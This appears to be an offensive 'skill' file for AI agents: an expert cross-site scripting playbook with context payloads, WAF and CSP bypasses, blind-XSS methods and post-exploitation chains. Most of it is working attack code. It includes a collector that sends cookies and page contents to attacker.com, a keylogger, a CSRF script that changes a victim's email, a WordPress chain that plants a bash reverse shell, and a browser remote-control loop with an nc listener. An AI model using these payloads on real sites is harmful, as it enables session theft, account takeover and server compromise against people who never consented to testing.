SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook

AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows <script>alert(1)</script> — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion [SCENARIOS.md](./SCENARIOS.md).

0. RELATED ROUTING

Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:

• Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
• UTF-7 XSS for legacy IE environments (+ADw-script+AD4-)
• HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
• XS-Leaks side channel attacks — timing oracle, cache probing, performance.now() measurement
• Session fixation via XSS — pre-set session ID before victim login
• DOM clobbering techniques for CSP-restricted environments

Advanced Tricks

Also load [ADVANCEDXSSTRICKS.md](./ADVANCEDXSSTRICKS.md) when you need:

• mXSS / DOMPurify bypass — namespace confusion, <noscript> parsing differential, form/table restructuring
• DOM Clobbering — property override via id/name, HTMLCollection, deep property chains
• Modern framework XSS — React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrust*, Next.js SSR
• Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
• Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
• PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
• XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle

Before broad payload spraying, you can first load:

• [upload insecure files](../upload-insecure-files/SKILL.md) when you need the full upload path: validation, storage, preview, and sharing behavior

Quick context picks

<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

1. INJECTION CONTEXT MATRIX

Identify context before picking a payload. Wrong context = wasted attempts.

2. MULTI-REFLECTION ATTACKS

When input reflects in multiple places on the same page — single payload triggers from all points:

<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>

3. ADVANCED INJECTION VECTORS

DOM Insert Injection (when reflection is in DOM not source)

Input inserted via .innerHTML, document.write, jQuery .html():

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

For URL-controlled resource insertion:

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

PHP_SELF Path Injection

When URL itself is reflected in form action:

https://target.com/page.php/"><svg onload=alert(1)>?param=val

Inject between .php and ?, using leading /.

File Upload XSS

Filename injection (when filename is reflected):

"><svg onload=alert(1)>.gif

SVG upload (stored XSS via image upload accepting SVG):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

Metadata injection (when EXIF is reflected):

exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg

postMessage XSS (no origin check)

When page has window.addEventListener('message', ...) without origin validation:

<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">

postMessage Origin Bypass

When origin IS checked but uses .includes() or prefix match:

http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>

Attacker controls facebook.com.ATTACKER.com subdomain.

XML-Based XSS

Response has text/xml or application/xml:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>

Script Injection Without Closing Tag

When there IS a </script> tag later in the page:

<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

4. CSP BYPASS TECHNIQUES

JSONP Endpoint Bypass (allow-listed domain has JSONP)

<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>

AngularJS CDN Bypass (allow-listed ajax.googleapis.com)

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>

Angular Expressions (server encodes HTML but AngularJS evaluates)

When {{1+1}} evaluates to 2 on page — classic CSTI indicator:

// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

base-uri Injection (CSP without base-uri restriction)

<base href="https://attacker.com/">

Relative <script src=...> loads from attacker's server.

DOM-based via Dangling Markup

When CSP blocks script but allows img:

<img src='https://attacker.com/log?

Leaks subsequent page content to attacker.

5. FILTER AND WAF BYPASS

Parameter Name Attack (WAF checks value not name)

When parameter names are reflected (e.g., in JSON output):

?"></script><base%20c%3D=href%3Dhttps:\mysite>

Payload is the parameter name, not value.

Encoding Chains

%253C  → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag

Test sequence: reflect → encoding behavior → identify filter logic → mutate.

Tag Mutation (blacklist bypass)

<ScRipt>  ← case variation
</script/x>  ← trailing garbage
<script  ← incomplete (relies on later >)
<%00iframe  ← null byte
<svg/onload=  ← slash instead of space

Fragmented Injection (strip-tags bypass)

Filter strips <x>...</x>:

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

Vectors Without Event Handlers

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

6. SECOND-ORDER XSS

Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.

Classic trigger payload (bypasses immediate HTML encoding):

<svg/onload=alert(1)>

Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).

Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.

7. BLIND XSS METHODOLOGY

Every parameter that is not immediately reflected should be tested for blind XSS:

• Contact forms, feedback fields
• User-agent / referer
• Registration fields
• Error log injections

Blind XSS callback payload (remote JS file approach):

"><script src=//attacker.com/bxss.js></script>

Minimal collector (hosted at bxss.js):

var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));

Use XSS Hunter or similar blind XSS platform for automated collection.

8. XSS EXPLOITATION CHAIN

Cookie Steal

fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead

Keylogger

document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}

CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)

var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('[email protected]&csrf='+token);

WordPress XSS → RCE (admin session + Hello Dolly plugin):

p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }

Browser Remote Control (JS command shell)

// Injected into victim:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)

# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

9. DECISION TREE

Test XSS entry point
├── Input reflected in response?
│   ├── YES → Identify context (HTML / JS / attr / URL)
│   │         → Select context-appropriate payload
│   │         → If blocked → check filter behavior
│   │         │   → Try encoding, case mutation, fragmentation
│   │         │   → Check if parameter NAME is reflected (WAF gap)
│   │         └── Success → escalate (cookie steal / CSRF / RCE)
│   └── NO  → Is it stored? → Inject blind XSS payload
│             Is it in DOM? → Check JS source for unsafe sinks
│                             (innerHTML, eval, document.write, location.href)
└── CSP present?
    ├── Check for JSONP endpoints on allow-listed domains
    ├── Check for AngularJS on CDN allow-list
    ├── Check for base-uri missing → <base> injection
    └── Check for unsafe-eval or unsafe-inline exceptions

10. XSS TESTING PROCESS (ZSEANO METHOD)

1. Step 1 — Test non-malicious tags: <h2>, <img>, <table> — are they reflected raw?
2. Step 2 — Test incomplete tags: <iframe src=//attacker.com/c= (no closing >)
3. Step 3 — Encoding probes: <%00h2, %0d, %0a, %09, %253C
4. Step 4 — If filtering <script> and onerror but NOT <script (without close): <script src=//attacker.com?c=
5. Step 5 — Blacklist check: does <svg> work? Does <ScRiPt> work?
6. Note: the same filter likely exists elsewhere — if they filter <script> in search, do they filter it in file upload filename? In profile bio?

Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.